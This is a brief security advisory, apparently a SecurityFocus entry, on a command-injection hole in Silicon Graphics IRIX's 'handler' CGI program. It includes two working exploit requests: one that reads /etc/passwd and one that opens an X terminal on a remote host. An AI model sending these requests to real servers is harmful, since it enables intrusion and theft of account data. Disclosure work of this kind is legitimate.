source: https://www.securityfocus.com/bid/380/info
A vulnerability exists in the cgi-bin program 'handler', as included by Silicon Graphics in their Irix operating system. This vulnerability will allow a remote attacker to execute arbitrary commands on the vulnerable host as the user the web server is running as. This can easily result in a user being able to access the system.
telnet target.machine.com 80
GET /cgi-bin/handler/whatever;cat /etc/passwd| ?data=Download HTTP/1.0
or:
telnet target.machine.com 80
GET /cgi-bin/handler/blah;/usr/sbin/xwsh -display yourhost.com|?data=Download
NOTE: large spaces are actually tabs. Data
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